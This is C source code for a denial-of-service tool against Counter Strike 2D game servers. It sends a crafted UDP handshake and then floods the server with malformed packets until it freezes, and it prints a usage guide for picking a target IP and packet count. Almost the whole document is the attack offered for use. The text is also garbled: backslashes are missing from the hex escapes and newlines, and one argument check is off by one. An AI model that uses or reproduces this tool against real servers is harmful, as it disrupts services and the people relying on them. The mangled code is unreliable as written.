Notes

/*
Counter Strike 2D DoS
Affected versions: 0.1.0.1 and prior
CS2D Developer: http://www.cs2d.com/

by Iman Karim ([email protected])
http://home.inf.fh-rhein-sieg.de/~ikarim2s/

Written in Borland C++ Builder 6
20.09.2005
*/
#include <winsock.h>
#include <stdio.h>
#include <conio.h>
int sd;
int port = 36963;
WSADATA wsadata;
struct sockaddr_in p;

const static unsigned char MakeCon[]= "xFAxFAx0Dx0A"
"x68x61x72x72x79" //Player Name = Harry (in Hex)
"xCEx7BxE2x45x63x90x00x00";
const static unsigned char DoSPack[]= "xFAx04"
"x68x61x72x72x79" //Player Name again
"x0Dx0Ax02" ;

//----------------------------------------------------------------------
u_int resolveaddr(char *host )
{
u_int ip;
struct hostent *hIP ;

ip = inet_addr(host);
hIP = gethostbyname(host);
if(!hIP) {
printf("Cant solve hostip => quitting...n");
return(0);
}
else ip = *(u_int *)hIP->h_addr;
return(ip);
}



bool HandShake(int sd)
{
sendto(sd, MakeCon, 22, 0,(struct sockaddr *)&p, sizeof(p));
return true;
}

bool DoSAttack(int sd)
{
sendto(sd, DoSPack, 10, 0, (struct sockaddr *)&p, sizeof(p));
return true;
}
//----------------------------------------------------------------------



int main(int argc, char *argv[])
{
printf ("Counter Strike 2D DoSn");
printf ("Affected versions: 0.1.0.1 and priorn");
printf ("by Iman Karim ([email protected])n");
printf ("http://home.inf.fh-rhein-sieg.de/~ikarim2s/n-----------n");
if (argc <= 1)
{
printf ("n-Quick Guide-nn");
printf ("%s <SRV_IP> [SRV_PORT] [PACKET_COUNT]n",argv[0]);
printf ("Default Port is 36963n");
printf ("Default Packet Count is 5000n");
printf ("n- -nnPress a key...");
getch();
printf ("n");
return(0);
}

WSAStartup(MAKEWORD (1,0), &wsadata);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

if(sd < 0)
{
printf ("Cant create socket => quitting...n");
return(0);
}

if(argc > 2) port = atoi(argv[2]);

p.sin_addr.s_addr = resolveaddr(argv[1]);
p.sin_port = htons(port);
p.sin_family = AF_INET;

printf ("Attacking %s:%i...n",argv[1],port);
printf ("+Attack started...n");

printf ("++Sending Handshake...n");
HandShake(sd);
unsigned char rbuf[1024];
ZeroMemory(rbuf, 1024);
int cnt=0;

int pcount = 5000;
if(argc > 2) pcount = atoi(argv[3]);
printf("nn[!!!] IF THE SERVER DON'T RESPONSE PRESS CTRL+C [!!!]nn");
for(int i=0;i<=pcount;i++){
printf("+++Sending packet nr.%i...n",i);
int len=recvfrom(sd, rbuf, sizeof(rbuf), 0, NULL, NULL);
if (len > 0)
{
printf("+++(%i)Server Responsedn",i);
printf("+++(%i)Sending DoS Packetn",i);
DoSAttack(sd);
}

}

printf("++Attack Done!n");
printf("+Server should be frozen...n");
printf("Done => quitting.npress any key...n");

getch();
return 0;

}